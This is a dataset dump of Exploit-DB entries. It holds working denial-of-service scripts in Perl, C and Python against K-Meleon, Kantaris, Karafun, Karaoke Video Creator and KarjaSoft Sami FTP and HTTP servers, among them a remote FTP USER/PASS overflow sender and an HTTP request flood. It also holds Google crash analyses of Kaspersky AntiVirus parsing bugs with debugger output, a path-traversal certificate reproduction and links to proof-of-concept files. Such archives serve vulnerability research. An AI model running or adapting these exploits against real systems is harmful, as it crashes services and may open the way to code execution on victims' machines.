deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34404
Description: K-Meleon 1.x - URI Handling Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-08-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/42200/info

K-Meleon is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to crash the application. Given the nature of these vulnerabilities, the attacker may also be able to execute arbitrary code; this has not been confirmed.

#######################################################################
#!/usr/bin/perl
# k-meleon Long "a href" Link DoS
# Author: Lostmon Lords Lostmon@gmail.com http://lostmon.blogspot.com
# k-Meleon versions 1.5.3 & 1.5.4 internal page about:neterror DoS
# generate the file open it with k-keleon click in the link and wait a seconds
######################################################################

$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Usage: $0 <archivo.html>\n";

}

$cabecera = "<html>" . "\n";
$payload = "<a href=\"about:neterror?e=connectionFailure&c=" . "/" x
1028135 . "\">click here if you can :)</a>" . "\n";
$fin = "</html>";

$datos = $cabecera . $payload . $fin;

open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);
Exploit-DB #11052
Description: Kantaris 0.5.6 - Local Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-01-07
Author: anonymous

Exploit:
#!/usr/bin/perl
#Kantaris 0.5.6 local Denial of service Poc
#
#
#Author: Anonymous
#
#How i find this bug: I was looking for mkv player because i downloaded 13 seasons
#of south park. I found Kantaris player and decided to chek it's security.
#
#
#
#
#
#Bug info:Kantaris 0.5.6 crashes while loading poc playlist.Loading  that kind of playlist
#should be possible and is possible on other media players.
#
#
#
#
#
#
#
#Here is Proof on concept.........
 
 
$file="poc.m3u";
$poc='a/' x 105000;
open(myfile,">>$file");
print myfile $poc;
close(myfile);
print "Finished\n";
Exploit-DB #19184
Description: Karafun Player 1.20.86 - '.m3u' Crash (PoC)
Type: dos
Platform: windows
Date: 2012-06-16
Author: Styxosaurus

Exploit:
# 
# Exploit Title: Karafun Player V1.20.86 .m3u file Denial of Service
# Date: 2012.6.15
# Vulnerability Discovered & Exploit by Styxosaurus
# Styxosaurus [at] gmail [dot] com
#
# Software Link: http://www.karafun.com/karaokeplayer/
# Version: V1.20.86
# Description:
#             Karafun will crash and not responding when trying to close it after
#             runs a special crafted .m3u file.

my $JUNK= "A" x 10000;
my $FILE="Karafun.m3u";
open(my $FILE, ">$FILE") or die "Cannot open $file: $!";
print $FILE $JUNK;
close($FILE);
Exploit-DB #14695
Description: Karaoke Video Creator 2.2.8 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-20
Author: PASSEWORD

Exploit:
# Exploit Title: Karaoke Video Creator Denial of Service Vulnerability
# Author: PASSEWORD
# Date: 2010-08-20
# Software Link: http://www.powerkaraoke.com/src/prod-karaoke-video-creator.php
# Version : 2.2.8
# Greetz 2 : d4rk-h4ck3r , And All Muslims And Tunisian Hackers
# Tested on: Windows XP SP3 Fr

$buff="A" x 10000;
open (myfile , ">>PASS.PK2");
print myfile $buff;
close (myfile);
Exploit-DB #3127
Description: KarjaSoft Sami FTP Server 2.0.2 - USER/PASS Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-01-14
Author: Marsu

Exploit:
/************************************************************************
*KarjaSoft Sami FTP Server 2.0.2 USER/PASS buffer overflow              *
*                                                                       *
*Sending a long USER / PASS request to server triggers the vulnerability*
*EAX and EDX are owned leading to code execution                        *
*This is only a POC                                                     *
*Thanks to rewterz and Muhammad Ahmed Siddiqui for discovery            *
*                                                                       *
*Usage: sami.exe ip port                                                *
*                                                                       *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
	struct hostent *he;
	struct sockaddr_in sock_addr;
	WSADATA wsa;
	int ftpsock;
	char recvbuff[1024];
	char evilbuff[1024];
	int buflen=600;// 650 will kill the app. 600 just call the debugger

	if (argc!=3)
	{
		printf("[+] Usage: %s <ip> <port>\n",argv[0]);
		return 1;
	}
	WSACleanup();
	WSAStartup(MAKEWORD(2,0),&wsa);

	printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
	if ((he=gethostbyname(argv[1])) == NULL) {
		printf("Failed\n[-] Could not init gethostbyname\n");
		return 1;
	}
	if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Failed\n[-] Socket error\n");
		return 1;
	}

	sock_addr.sin_family = PF_INET;
	sock_addr.sin_port = htons(atoi(argv[2]));
	sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(sock_addr.sin_zero), '\0', 8);
	if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
		printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);

	printf("[+] Building payload ... ");
	memset(evilbuff,'A',buflen);
	memset(evilbuff+585,'B',4);	//eax and edx will be 42424262
	memcpy(evilbuff,"USER ",5);
	memcpy(evilbuff+buflen,"\r\n\0",3);
	printf("OK\n[+] Sending USER ... ");
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf("Failed\n[-] Could not send\n");
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);

	memcpy(evilbuff,"PASS ",5);
	printf("[+] Sending PASS ... ");
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf("Failed\n[-] Could not send\n");
		return 1;
	}
	printf("OK\n");
	recv(ftpsock, recvbuff, 1024, 0);

	printf("[+] Host should be down\n");
	return 0;
}

// milw0rm.com [2007-01-14]
Exploit-DB #29503
Description: KarjaSoft Sami HTTP Server 1.0.4/1.0.5/2.0.1 - Request Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-01-22
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/22159/info

Sami HTTP Server is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to crash the server application, denying further service to legitimate users.

import socket

print "-------------------------------------------------------------------------------------------------------"
print "Sami HTTP Server HTTP 404 - Object not found Denial of Service"
print "url: http://www.karjasoft.com"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print ""
print "The server is unable to handle more than 2002 requests to nonexistents"
print "files, pages, folders etc."
print "When the number of requests exceed the 2002, it stops to answer, stops"
print "to write to log file and the admin will be unable to kick or ban users."
print "The only thing you can do is to kill the process."
print "-------------------------------------------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",80))
   for i in range (0,2004):
       request =  "GET /some.txt HTTP/1.0 \n\n"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       print i
except:
   print "Unable to connect. exiting."
Exploit-DB #38735
Description: Kaspersky AntiVirus - '.DEX' File Format Memory Corruption
Type: dos
Platform: windows
Date: 2015-11-16
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=529

The attached testcase was found by fuzzing DEX files, and results in a heap overflow with a wild memcpy. Note that Kaspersky catch exceptions and continue execution, so running into unmapped pages doesn't terminate the process, this should make exploitation quite realistic.

(bb8.ac0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0b2074 ebx=ffffffff ecx=3ffd419c edx=00000003 esi=0c161a01 edi=0c170000
eip=72165157 esp=046ceed8 ebp=046ceee0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
avengine_dll!ekaGetObjectFactory+0x51537:
72165157 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:023> dd edi
0c170000  ???????? ???????? ???????? ????????
0c170010  ???????? ???????? ???????? ????????
0c170020  ???????? ???????? ???????? ????????
0c170030  ???????? ???????? ???????? ????????
0c170040  ???????? ???????? ???????? ????????
0c170050  ???????? ???????? ???????? ????????
0c170060  ???????? ???????? ???????? ????????
0c170070  ???????? ???????? ???????? ????????
0:023> dd esi
0c161a01  [PII_REDACTED] [PII_REDACTED]
0c161a11  [PII_REDACTED] [PII_REDACTED]
0c161a21  [PII_REDACTED] [PII_REDACTED]
0c161a31  [PII_REDACTED] [PII_REDACTED]
0c161a41  [PII_REDACTED] [PII_REDACTED]
0c161a51  [PII_REDACTED] [PII_REDACTED]
0c161a61  [PII_REDACTED] [PII_REDACTED]
0c161a71  [PII_REDACTED] [PII_REDACTED]
0:023> kvn1
 # ChildEBP RetAddr  Args to Child              
00 046ceee0 15c01af7 0c0c0674 0c0b2075 ffffffff avengine_dll!ekaGetObjectFactory+0x51537

This vulnerability is exploitable for remote code execution as NT AUTHORITY\SYSTEM.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38735.zip
Exploit-DB #38284
Description: Kaspersky AntiVirus - '.DEX' File Format Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=519

Fuzzing the DEX file format found a crash that loads a function pointer from an attacker controlled pointer, on Windows this results in a call to an unmapped address. This is obviously exploitable for remote, zero-interaction code execution as NT AUTHORITY\SYSTEM on any system with Kaspersky Antivirus. I've tested Windows, Linux, Mac and a product using the Kaspersky SDK (ZoneAlarm Pro), all were exploitable.

(5dc.990): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=9c000000 ebx=00000000 ecx=053ef3ec edx=00020009 esi=04130d40 edi=800000d8
eip=9c000000 esp=053eec14 ebp=053eec74 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
9c000000 ??              ???
0:026> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
053eec10 1740927e 04137af0 04137ac8 04130d40 0x9c000000
053eecb8 70118a64 04130d40 00[PII_REDACTED]0d40 0x1740927e
053eecd0 70116a1c 04130d40 0000234c 00000001 kavbase_kdl!KLAV_Engine_Create+0x17a62
053eed80 70[PII_REDACTED]0d40 0500234c 00000000 kavbase_kdl!KLAV_Engine_Create+0x15a1a
053eedc0 70[PII_REDACTED]0d40 107407b4 00000001 kavbase_kdl!KLAV_Engine_Create+0x12827
053eee6c 70[PII_REDACTED]0d40 [PII_REDACTED] kavbase_kdl!KLAV_Engine_Create+0x16154
053eee94 701167f2 04130d40 000001e3 053eeed4 kavbase_kdl!KLAV_Engine_Create+0x12924
053eeea4 70112c28 04130d40 00000067 0e5100a2 kavbase_kdl!KLAV_Engine_Create+0x157f0
053eeed4 70112cef 053eeee0 04130d40 16d30ae0 kavbase_kdl!KLAV_Engine_Create+0x11c26
0:026> .frame /c 1
01 053eecb8 70118a64 0x1740927e
eax=9c000000 ebx=00000000 ecx=053ef3ec edx=00020009 esi=04130d40 edi=800000d8
eip=1740927e esp=053eec18 ebp=053eec74 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
1740927e 83c404          add     esp,4
0:026> ub
17409269 8b45fc          mov     eax,dword ptr [ebp-4]
1740926c 85c0            test    eax,eax
1740926e 7411            je      17409281
17409270 c745fc00000000  mov     dword ptr [ebp-4],0
17409277 8b10            mov     edx,dword ptr [eax]
17409279 50              push    eax
1740927a 8b02            mov     eax,dword ptr [edx] <-- corrupt attacker controlled pointer
1740927c ffd0            call    eax                 <-- attacker gains control of execution


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38284.zip
Exploit-DB #38734
Description: Kaspersky AntiVirus - Certificate Handling Directory Traversal
Type: dos
Platform: windows
Date: 2015-11-16
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=539

When Kaspersky https inspection is enabled, temporary certificates are created in %PROGRAMDATA% for validation. I observed that the naming pattern  is {CN}.cer.

I created a certificate with CN="../../../../Users/All Users/Start Menu/Startup/foo.bat\x00", browsed to an SSL server presenting that certificate and Kaspersky created that certificate name. Jumping from this to code execution seems quite straightforward. I didn't try it, but it seems quite easy to make some ASN.1/X.509 that is also a valid batch file or some other relaxed-parsing format.

Here is how to generate a certificate to reproduce:


$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 360
Generating a 2048 bit RSA private key
......................................................................+++
...............+++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:../../../../../Users/All Users/Desktop/hello
Email Address []:

Then test start a server like this:

$ openssl s_server -key key.pem  -cert cert.pem -accept 8080

And then navigate to https://host:8080 from the Windows host, and observe a certificate called hello.cer on the desktop. I attached a screenshot to demonstrate. I can't believe this actually worked, note that it's not necessary to click or interact with anything to produce the file.
Exploit-DB #38285
Description: Kaspersky AntiVirus - CHM Parsing Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=524

Fuzzing CHM files with Kaspersky Antivirus produced the attached crash.

(83c.fec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bd3e470 ebx=00000ef1 ecx=00000000 edx=0b002fb0 esi=00000018 edi=0bd3e473
eip=15edb522 esp=0bd3e234 ebp=0bd3e240 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
15edb522 8a12            mov     dl,byte ptr [edx]          ds:002b:0b002fb0=??

Where does edx come from?

0:085> uf 15edb4f0
15edb4f0 55              push    ebp
...
15edb520 8b10            mov     edx,dword ptr [eax]
15edb522 8a12            mov     dl,byte ptr [edx]
15edb524 8817            mov     byte ptr [edi],dl
15edb526 ff00            inc     dword ptr [eax]
15edb528 47              inc     edi
15edb529 83c6ff          add     esi,0FFFFFFFFh
15edb52c 83d1ff          adc     ecx,0FFFFFFFFh
15edb52f 8bd6            mov     edx,esi
15edb531 0bd1            or      edx,ecx
15edb533 75eb            jne     15edb520

...

Edx is a parameter, and this is a simple memcpy loop.

for (i = ArgSize; i > 0; i--) {
    *argDestPtr++ = *argSrcPtr++;
}

But why is the input pointer corrupt, that should be a pointer to the input buffer (i.e. the CHM being scanned)?

0:018> kvn1
 # ChildEBP RetAddr  Args to Child              
00 03f4e1c0 15edb73b 0000022f 00000000 0afda8d4 0x15edb522
0:018> ub 15edb73b 
15edb725 3bc1            cmp     eax,ecx
15edb727 774f            ja      15edb778
15edb729 52              push    edx
15edb72a 50              push    eax
15edb72b 8d95e8fdffff    lea     edx,[ebp-218h]    <-- destination buffer
15edb731 8bcb            mov     ecx,ebx
15edb733 8d45fc          lea     eax,[ebp-4]
15edb736 e8b5fdffff      call    15edb4f0


Ah, the destination is a fixed size stack buffer (I'm guessing 512 bytes), so if the size read from the input is greater than 512 (in this case it's 0x22f), the stack will be corrupted.

The input pointer is corrupt because the loop overwrites the src pointer with attacker controlled input and then it crashes trying to read from it. That can obviously be fixed by an attacker, so this is an exploitable stack buffer overflow.

It seems likely /GS would have made this unexploitable.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38285.zip
Exploit-DB #38283
Description: Kaspersky AntiVirus - PE Unpacking Integer Overflow
Type: dos
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=526

Fuzzing of packed executables found the attached crash.

0:022> g
(83c.bbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0bd2 esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a06
15de0bd2 8a[PII_REDACTED]00  mov     al,byte ptr [edi+esi+400h] ds:002b:84320483=??

If I step through that address calculation:

0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000022 edi=0432005c
eip=15de0d3a esp=0bb4ee04 ebp=0bb4ee20 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
15de0d3a 03f0            add     esi,eax
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0d3c esp=0bb4ee04 ebp=0bb4ee20 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
15de0d3c 3b75f0          cmp     esi,dword ptr [ebp-10h] ss:002b:0bb4ee10=000003f1
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0d3f esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a06
15de0d3f 0f8c8dfeffff    jl      15de0bd2                                [br=1]
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0bd2 esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a06
15de0bd2 8a[PII_REDACTED]00  mov     al,byte ptr [edi+esi+400h] ds:002b:84320483=??

This looks like an integer overflow:

int base;
int index;

if (base + index > argMaxSize)
 goto error;

Because it's a signed comparison, 7ffffffd + 5 is

0:022> ? ecx + eax
Evaluate expression: [PII_REDACTED]

Which is less than 0x3f1, the size parameter. Those values are directly from the executable being scanned.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38283.zip
Exploit-DB #38286
Description: Kaspersky AntiVirus - UPX Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=527

While fuzzing UPX packed files, this crash was discovered resulting in an arbitrary stack-relative write. This vulnerability is obviously remotely exploitable for remote code execution as NT AUTHORITY\SYSTEM.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=f93900c7 edx=00000020 esi=00000001 edi=057b9d60
eip=15ea22da esp=0497eb2c ebp=0497ec80 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
15ea22da 01840dbcfeffff  add     dword ptr [ebp+ecx-144h],eax ss:002b:fdd0ec03=????????

This decoding loop is trying to modify a value in a stack buffer with an attacker controlled index.

The index and Those values are taken verbatim from the input:

50 BC C7 00 39 F9 0F B6 47 FB F7 D8 01 04 24 39
C7 83 EF F1 8D 7F F2 80 7F FB 0A 89 E4 8B C9 8D
00 58 FC 90 8D 3F 77 D2 8D 36 8D 00 B8 54 C8 B4
F6 31 44 24 FC 8B 44 24 04 31 44 24 FC 75 A3 90
90 FC 90 FC 89 DB 9B FC 9B FC 83 E9 ED 83 C4 08

And the value being added is from here:

00 00 00 00 82 51 33 4D 00 00 A3 02 02 00 03 00
D8 01 00 80 38 00 00 80 EE 01 00 80 78 00 00 80
03 00 00 00 B8 00 00 80 0E 00 00 00 58 01 00 80
10 00 00 00 98 01 00 80 00 00 00 00 00 00 00 00

The bug is that the index is not verified, resulting in an arbitrary write. This is obviously exploitable for arbitrary code execution.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38286.zip